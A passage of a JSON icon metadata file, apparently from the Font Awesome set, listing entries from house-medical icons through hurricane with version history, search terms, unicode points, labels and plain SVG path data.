        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M543.8 287.6c17 0 32-14 32-32.1c1-9-3-17-11-24L309.5 7c-6-5-14-7-21-7s-15 1-22 8L10 231.5c-7 7-10 15-10 24c0 18 14 32.1 32 32.1h32V448c0 35.3 28.7 64 64 64H448.5c35.5 0 64.2-28.8 64-64.3l-.7-160.2h32zM256 208c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H320v48c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V320H208c-8.8 0-16-7.2-16-16V272c0-8.8 7.2-16 16-16h48V208z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M543.8 287.6c17 0 32-14 32-32.1c1-9-3-17-11-24L309.5 7c-6-5-14-7-21-7s-15 1-22 8L10 231.5c-7 7-10 15-10 24c0 18 14 32.1 32 32.1h32V448c0 35.3 28.7 64 64 64H448.5c35.5 0 64.2-28.8 64-64.3l-.7-160.2h32zM256 208c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H320v48c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V320H208c-8.8 0-16-7.2-16-16V272c0-8.8 7.2-16 16-16h48V208z"
      }
    },
    "free": ["solid"]
  },
  "house-medical-circle-check": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["clinic", "hospital", "not affected", "ok", "okay"]
    },
    "styles": ["solid"],
    "unicode": "e511",
    "label": "House Medical Circle Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 368c0 59.5 29.5 112.1 74.8 144H128.1c-35.3 0-64-28.7-64-64V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L522.1 193.9c-8.5-1.3-17.3-1.9-26.1-1.9c-54.7 0-103.5 24.9-135.8 64H320V208c0-8.8-7.2-16-16-16H272c-8.8 0-16 7.2-16 16v48H208c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16zm32 0a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm211.3-43.3c-6.2-6.2-16.4-6.2-22.6 0L480 385.4l-28.7-28.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l40 40c6.2 6.2 16.4 6.2 22.6 0l72-72c6.2-6.2 6.2-16.4 0-22.6z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 368c0 59.5 29.5 112.1 74.8 144H128.1c-35.3 0-64-28.7-64-64V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L522.1 193.9c-8.5-1.3-17.3-1.9-26.1-1.9c-54.7 0-103.5 24.9-135.8 64H320V208c0-8.8-7.2-16-16-16H272c-8.8 0-16 7.2-16 16v48H208c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16zm32 0a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm211.3-43.3c-6.2-6.2-16.4-6.2-22.6 0L480 385.4l-28.7-28.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l40 40c6.2 6.2 16.4 6.2 22.6 0l72-72c6.2-6.2 6.2-16.4 0-22.6z"
      }
    },
    "free": ["solid"]
  },
  "house-medical-circle-exclamation": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["affected", "clinic", "hospital"]
    },
    "styles": ["solid"],
    "unicode": "e512",
    "label": "House Medical Circle Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 368c0 59.5 29.5 112.1 74.8 144H128.1c-35.3 0-64-28.7-64-64V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L522.1 193.9c-8.5-1.3-17.3-1.9-26.1-1.9c-54.7 0-103.5 24.9-135.8 64H320V208c0-8.8-7.2-16-16-16H272c-8.8 0-16 7.2-16 16v48H208c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16zM496 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm0 240a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm0-192c-8.8 0-16 7.2-16 16v80c0 8.8 7.2 16 16 16s16-7.2 16-16V288c0-8.8-7.2-16-16-16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 368c0 59.5 29.5 112.1 74.8 144H128.1c-35.3 0-64-28.7-64-64V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L522.1 193.9c-8.5-1.3-17.3-1.9-26.1-1.9c-54.7 0-103.5 24.9-135.8 64H320V208c0-8.8-7.2-16-16-16H272c-8.8 0-16 7.2-16 16v48H208c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16zM496 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm0 240a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm0-192c-8.8 0-16 7.2-16 16v80c0 8.8 7.2 16 16 16s16-7.2 16-16V288c0-8.8-7.2-16-16-16z"
      }
    },
    "free": ["solid"]
  },
  "house-medical-circle-xmark": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["clinic", "destroy", "hospital"]
    },
    "styles": ["solid"],
    "unicode": "e513",
    "label": "House Medical Circle Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 368c0 59.5 29.5 112.1 74.8 144H128.1c-35.3 0-64-28.7-64-64V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L522.1 193.9c-8.5-1.3-17.3-1.9-26.1-1.9c-54.7 0-103.5 24.9-135.8 64H320V208c0-8.8-7.2-16-16-16H272c-8.8 0-16 7.2-16 16v48H208c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16zM496 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm22.6 144l36.7-36.7c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0L496 345.4l-36.7-36.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6L473.4 368l-36.7 36.7c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0L496 390.6l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6L518.6 368z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 368c0 59.5 29.5 112.1 74.8 144H128.1c-35.3 0-64-28.7-64-64V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L522.1 193.9c-8.5-1.3-17.3-1.9-26.1-1.9c-54.7 0-103.5 24.9-135.8 64H320V208c0-8.8-7.2-16-16-16H272c-8.8 0-16 7.2-16 16v48H208c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16zM496 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm22.6 144l36.7-36.7c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0L496 345.4l-36.7-36.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6L473.4 368l-36.7 36.7c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0L496 390.6l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6L518.6 368z"
      }
    },
    "free": ["solid"]
  },
  "house-medical-flag": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["clinic", "hospital", "mash"]
    },
    "styles": ["solid"],
    "unicode": "e514",
    "label": "House Medical Flag",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M480 0c17.7 0 32 14.3 32 32H624c8.8 0 16 7.2 16 16V176c0 8.8-7.2 16-16 16H512V512H448V192 32c0-17.7 14.3-32 32-32zM276.8 39.7L416 159V512h1l-.2 0H96c-17.7 0-32-14.3-32-32V288H32c-13.4 0-25.4-8.3-30-20.9s-1-26.7 9.2-35.4l224-192c12-10.3 29.7-10.3 41.7 0zM224 208v48H176c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320h48c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H288V208c0-8.8-7.2-16-16-16H240c-8.8 0-16 7.2-16 16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M480 0c17.7 0 32 14.3 32 32H624c8.8 0 16 7.2 16 16V176c0 8.8-7.2 16-16 16H512V512H448V192 32c0-17.7 14.3-32 32-32zM276.8 39.7L416 159V512h1l-.2 0H96c-17.7 0-32-14.3-32-32V288H32c-13.4 0-25.4-8.3-30-20.9s-1-26.7 9.2-35.4l224-192c12-10.3 29.7-10.3 41.7 0zM224 208v48H176c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320h48c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H288V208c0-8.8-7.2-16-16-16H240c-8.8 0-16 7.2-16 16z"
      }
    },
    "free": ["solid"]
  },
  "house-signal": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e012"]
      }
    },
    "changes": [
      "5.12.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "abode",
        "building",
        "connect",
        "family",
        "home",
        "residence",
        "smart home",
        "wifi"
      ]
    },
    "styles": ["solid"],
    "unicode": "e012",
    "label": "House Signal",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M357.7 8.5c-12.3-11.3-31.2-11.3-43.4 0l-208 192c-9.4 8.6-12.7 22-8.5 34c87.1 25.3 155.6 94.2 180.3 181.6H464c26.5 0 48-21.5 48-48V256h32c13.2 0 25-8.1 29.8-20.3s1.6-26.2-8.1-35.2l-208-192zM288 208c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H304c-8.8 0-16-7.2-16-16V208zM24 256c-13.3 0-24 10.7-24 24s10.7 24 24 24c101.6 0 184 82.4 184 184c0 13.3 10.7 24 24 24s24-10.7 24-24c0-128.1-103.9-232-232-232zm8 256a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM0 376c0 13.3 10.7 24 24 24c48.6 0 88 39.4 88 88c0 13.3 10.7 24 24 24s24-10.7 24-24c0-75.1-60.9-136-136-136c-13.3 0-24 10.7-24 24z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M357.7 8.5c-12.3-11.3-31.2-11.3-43.4 0l-208 192c-9.4 8.6-12.7 22-8.5 34c87.1 25.3 155.6 94.2 180.3 181.6H464c26.5 0 48-21.5 48-48V256h32c13.2 0 25-8.1 29.8-20.3s1.6-26.2-8.1-35.2l-208-192zM288 208c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H304c-8.8 0-16-7.2-16-16V208zM24 256c-13.3 0-24 10.7-24 24s10.7 24 24 24c101.6 0 184 82.4 184 184c0 13.3 10.7 24 24 24s24-10.7 24-24c0-128.1-103.9-232-232-232zm8 256a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM0 376c0 13.3 10.7 24 24 24c48.6 0 88 39.4 88 88c0 13.3 10.7 24 24 24s24-10.7 24-24c0-75.1-60.9-136-136-136c-13.3 0-24 10.7-24 24z"
      }
    },
    "free": ["solid"]
  },
  "house-tsunami": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["damage", "flood", "tidal wave", "wave"]
    },
    "styles": ["solid"],
    "unicode": "e515",
    "label": "House Tsunami",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M80.8 136.5C104.9 93.8 152.6 64 209 64c16.9 0 33.1 2.7 48.2 7.7c16.8 5.5 34.9-3.6 40.4-20.4s-3.6-34.9-20.4-40.4C255.8 3.8 232.8 0 209 0C95.2 0 0 88 0 200c0 91.6 53.5 172.1 142.2 194.1c13.4 3.8 27.5 5.9 42.2 5.9c.7 0 1.4 0 2.1-.1c1.8 0 3.7 .1 5.5 .1l0 0c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.5 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.5-27.3-10.1-39.2-1.7l0 0C439.4 325.2 410.9 336 384 336c-27.5 0-55-10.6-77.5-26.1c-11.1-7.9-25.9-7.9-37 0c-22.4 15.5-49.9 26.1-77.4 26.1c0 0-.1 0-.1 0c-12.4 0-24-1.5-34.9-4.3C121.6 320.2 96 287 96 248c0-48.5 39.5-88 88.4-88c13.5 0 26.1 3 37.5 8.3c16 7.5 35.1 .6 42.5-15.5s.6-35.1-15.5-42.5C229.3 101.1 207.4 96 184.4 96c-40 0-76.4 15.4-103.6 40.5zm252-18.1c-8.1 6-12.8 15.5-12.8 25.6V265c1.6 1 3.3 2 4.8 3.1c18.4 12.7 39.6 20.3 59.2 20.3c19 0 41.2-7.9 59.2-20.3c23.8-16.7 55.8-15.3 78.1 3.4c10.6 8.8 24.2 15.6 37.3 18.6c5.8 1.4 11.2 3.4 16.2 6.2c.7-2.7 1.1-5.5 1.1-8.4l-.4-144c0-10-4.7-19.4-12.7-25.5l-95.5-72c-11.4-8.6-27.1-8.6-38.5 0l-96 72zM384 448c-27.5 0-55-10.6-77.5-26.1c-11.1-7.9-25.9-7.9-37 0C247 437.4 219.5 448 192 448c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C126.5 501.7 159 512 192 512c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.5 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.4-27.3-10.1-39.2-1.7l0 0C439.4 437.2 410.9 448 384 448z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M80.8 136.5C104.9 93.8 152.6 64 209 64c16.9 0 33.1 2.7 48.2 7.7c16.8 5.5 34.9-3.6 40.4-20.4s-3.6-34.9-20.4-40.4C255.8 3.8 232.8 0 209 0C95.2 0 0 88 0 200c0 91.6 53.5 172.1 142.2 194.1c13.4 3.8 27.5 5.9 42.2 5.9c.7 0 1.4 0 2.1-.1c1.8 0 3.7 .1 5.5 .1l0 0c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.5 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.5-27.3-10.1-39.2-1.7l0 0C439.4 325.2 410.9 336 384 336c-27.5 0-55-10.6-77.5-26.1c-11.1-7.9-25.9-7.9-37 0c-22.4 15.5-49.9 26.1-77.4 26.1c0 0-.1 0-.1 0c-12.4 0-24-1.5-34.9-4.3C121.6 320.2 96 287 96 248c0-48.5 39.5-88 88.4-88c13.5 0 26.1 3 37.5 8.3c16 7.5 35.1 .6 42.5-15.5s.6-35.1-15.5-42.5C229.3 101.1 207.4 96 184.4 96c-40 0-76.4 15.4-103.6 40.5zm252-18.1c-8.1 6-12.8 15.5-12.8 25.6V265c1.6 1 3.3 2 4.8 3.1c18.4 12.7 39.6 20.3 59.2 20.3c19 0 41.2-7.9 59.2-20.3c23.8-16.7 55.8-15.3 78.1 3.4c10.6 8.8 24.2 15.6 37.3 18.6c5.8 1.4 11.2 3.4 16.2 6.2c.7-2.7 1.1-5.5 1.1-8.4l-.4-144c0-10-4.7-19.4-12.7-25.5l-95.5-72c-11.4-8.6-27.1-8.6-38.5 0l-96 72zM384 448c-27.5 0-55-10.6-77.5-26.1c-11.1-7.9-25.9-7.9-37 0C247 437.4 219.5 448 192 448c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C126.5 501.7 159 512 192 512c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.5 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.4-27.3-10.1-39.2-1.7l0 0C439.4 437.2 410.9 448 384 448z"
      }
    },
    "free": ["solid"]
  },
  "house-user": {
    "aliases": {
      "names": ["home-user"]
    },
    "changes": [
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["house"]
    },
    "styles": ["solid"],
    "unicode": "e1b0",
    "label": "House User",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M575.8 255.5c0 18-15 32.1-32 32.1h-32l.7 160.2c.2 35.5-28.5 64.3-64 64.3H128.1c-35.3 0-64-28.7-64-64V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L564.8 231.5c8 7 12 15 11 24zM352 224a64 64 0 1 0 -128 0 64 64 0 1 0 128 0zm-96 96c-44.2 0-80 35.8-80 80c0 8.8 7.2 16 16 16H384c8.8 0 16-7.2 16-16c0-44.2-35.8-80-80-80H256z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M575.8 255.5c0 18-15 32.1-32 32.1h-32l.7 160.2c.2 35.5-28.5 64.3-64 64.3H128.1c-35.3 0-64-28.7-64-64V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L564.8 231.5c8 7 12 15 11 24zM352 224a64 64 0 1 0 -128 0 64 64 0 1 0 128 0zm-96 96c-44.2 0-80 35.8-80 80c0 8.8 7.2 16 16 16H384c8.8 0 16-7.2 16-16c0-44.2-35.8-80-80-80H256z"
      }
    },
    "free": ["solid"]
  },
  "houzz": {
    "changes": ["4.4.0", "5.0.0", "5.0.9", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f27c",
    "label": "Houzz",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M275.9 330.7H171.3V480H17V32h109.5v104.5l305.1 85.6V480H275.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M275.9 330.7H171.3V480H17V32h109.5v104.5l305.1 85.6V480H275.9z"
      }
    },
    "free": ["brands"]
  },
  "hryvnia-sign": {
    "aliases": {
      "names": ["hryvnia"],
      "unicodes": {
        "composite": ["20b4"],
        "secondary": ["10f6f2"]
      }
    },
    "changes": [
      "5.4.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Hryvnia Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "f6f2",
    "label": "Hryvnia Sign",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M121.9 116.2C138.3 103.1 158.7 96 179.6 96H223c27.1 0 49 21.9 49 49c0 11.5-4 22.4-11.1 31H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H155.5l-50.6 28.9c-1.7 1-3.4 2-5.1 3.1H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H52.3c-2.8 9.9-4.3 20.4-4.3 31c0 62.4 50.6 113 113 113h43.4c35.5 0 70-12.1 97.7-34.3L308 441c13.8-11 16-31.2 5-45s-31.2-16-45-5l-5.9 4.7c-16.4 13.1-36.7 20.2-57.7 20.2H161c-27.1 0-49-21.9-49-49c0-11.5 4-22.4 11.1-31H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H228.5l50.6-28.9c1.7-1 3.4-2 5.1-3.1H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H331.7c2.8-10 4.3-20.4 4.3-31c0-62.4-50.6-113-113-113H179.6c-35.5 0-70 12.1-97.7 34.3L76 71c-13.8 11-16 31.2-5 45s31.2 16 45 5l5.9-4.7z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M121.9 116.2C138.3 103.1 158.7 96 179.6 96H223c27.1 0 49 21.9 49 49c0 11.5-4 22.4-11.1 31H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H155.5l-50.6 28.9c-1.7 1-3.4 2-5.1 3.1H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H52.3c-2.8 9.9-4.3 20.4-4.3 31c0 62.4 50.6 113 113 113h43.4c35.5 0 70-12.1 97.7-34.3L308 441c13.8-11 16-31.2 5-45s-31.2-16-45-5l-5.9 4.7c-16.4 13.1-36.7 20.2-57.7 20.2H161c-27.1 0-49-21.9-49-49c0-11.5 4-22.4 11.1-31H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H228.5l50.6-28.9c1.7-1 3.4-2 5.1-3.1H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H331.7c2.8-10 4.3-20.4 4.3-31c0-62.4-50.6-113-113-113H179.6c-35.5 0-70 12.1-97.7 34.3L76 71c-13.8 11-16 31.2-5 45s31.2 16 45 5l5.9-4.7z"
      }
    },
    "free": ["solid"]
  },
  "html5": {
    "changes": ["3.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f13b",
    "label": "HTML 5 Logo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 32l34.9 395.8L191.5 480l157.6-52.2L384 32H0zm308.2 127.9H124.4l4.1 49.4h175.6l-13.6 148.4-97.9 27v.3h-1.1l-98.7-27.3-6-75.8h47.7L138 320l53.5 14.5 53.7-14.5 6-62.2H84.3L71.5 112.2h241.1l-4.4 47.7z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 32l34.9 395.8L191.5 480l157.6-52.2L384 32H0zm308.2 127.9H124.4l4.1 49.4h175.6l-13.6 148.4-97.9 27v.3h-1.1l-98.7-27.3-6-75.8h47.7L138 320l53.5 14.5 53.7-14.5 6-62.2H84.3L71.5 112.2h241.1l-4.4 47.7z"
      }
    },
    "free": ["brands"]
  },
  "hubspot": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3b2",
    "label": "HubSpot",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M267.4 211.6c-25.1 23.7-40.8 57.3-40.8 94.6 0 29.3 9.7 56.3 26 78L203.1 434c-4.4-1.6-9.1-2.5-14-2.5-10.8 0-20.9 4.2-28.5 11.8-7.6 7.6-11.8 17.8-11.8 28.6s4.2 20.9 11.8 28.5c7.6 7.6 17.8 11.6 28.5 11.6 10.8 0 20.9-3.9 28.6-11.6 7.6-7.6 11.8-17.8 11.8-28.5 0-4.2-.6-8.2-1.9-12.1l50-50.2c22 16.9 49.4 26.9 79.3 26.9 71.9 0 130-58.3 130-130.2 0-65.2-47.7-119.2-110.2-128.7V116c17.5-7.4 28.2-23.8 28.2-42.9 0-26.1-20.9-47.9-47-47.9S311.2 47 311.2 73.1c0 19.1 10.7 35.5 28.2 42.9v61.2c-15.2 2.1-29.6 6.7-42.7 13.6-27.6-20.9-117.5-85.7-168.9-124.8 1.2-4.4 2-9 2-13.8C129.8 23.4 106.3 0 77.4 0 48.6 0 25.2 23.4 25.2 52.2c0 28.9 23.4 52.3 52.2 52.3 9.8 0 18.9-2.9 26.8-7.6l163.2 114.7zm89.5 163.6c-38.1 0-69-30.9-69-69s30.9-69 69-69 69 30.9 69 69-30.9 69-69 69z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M267.4 211.6c-25.1 23.7-40.8 57.3-40.8 94.6 0 29.3 9.7 56.3 26 78L203.1 434c-4.4-1.6-9.1-2.5-14-2.5-10.8 0-20.9 4.2-28.5 11.8-7.6 7.6-11.8 17.8-11.8 28.6s4.2 20.9 11.8 28.5c7.6 7.6 17.8 11.6 28.5 11.6 10.8 0 20.9-3.9 28.6-11.6 7.6-7.6 11.8-17.8 11.8-28.5 0-4.2-.6-8.2-1.9-12.1l50-50.2c22 16.9 49.4 26.9 79.3 26.9 71.9 0 130-58.3 130-130.2 0-65.2-47.7-119.2-110.2-128.7V116c17.5-7.4 28.2-23.8 28.2-42.9 0-26.1-20.9-47.9-47-47.9S311.2 47 311.2 73.1c0 19.1 10.7 35.5 28.2 42.9v61.2c-15.2 2.1-29.6 6.7-42.7 13.6-27.6-20.9-117.5-85.7-168.9-124.8 1.2-4.4 2-9 2-13.8C129.8 23.4 106.3 0 77.4 0 48.6 0 25.2 23.4 25.2 52.2c0 28.9 23.4 52.3 52.2 52.3 9.8 0 18.9-2.9 26.8-7.6l163.2 114.7zm89.5 163.6c-38.1 0-69-30.9-69-69s30.9-69 69-69 69 30.9 69 69-30.9 69-69 69z"
      }
    },
    "free": ["brands"]
  },
  "hurricane": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f751"]
      }
    },
    "changes": [
      "5.5.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "coriolis effect",
        "eye",
        "storm",
        "tropical cyclone",
        "typhoon"
      ]
    },
    "styles": ["solid"],
    "unicode": "f751",
    "label": "Hurricane",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
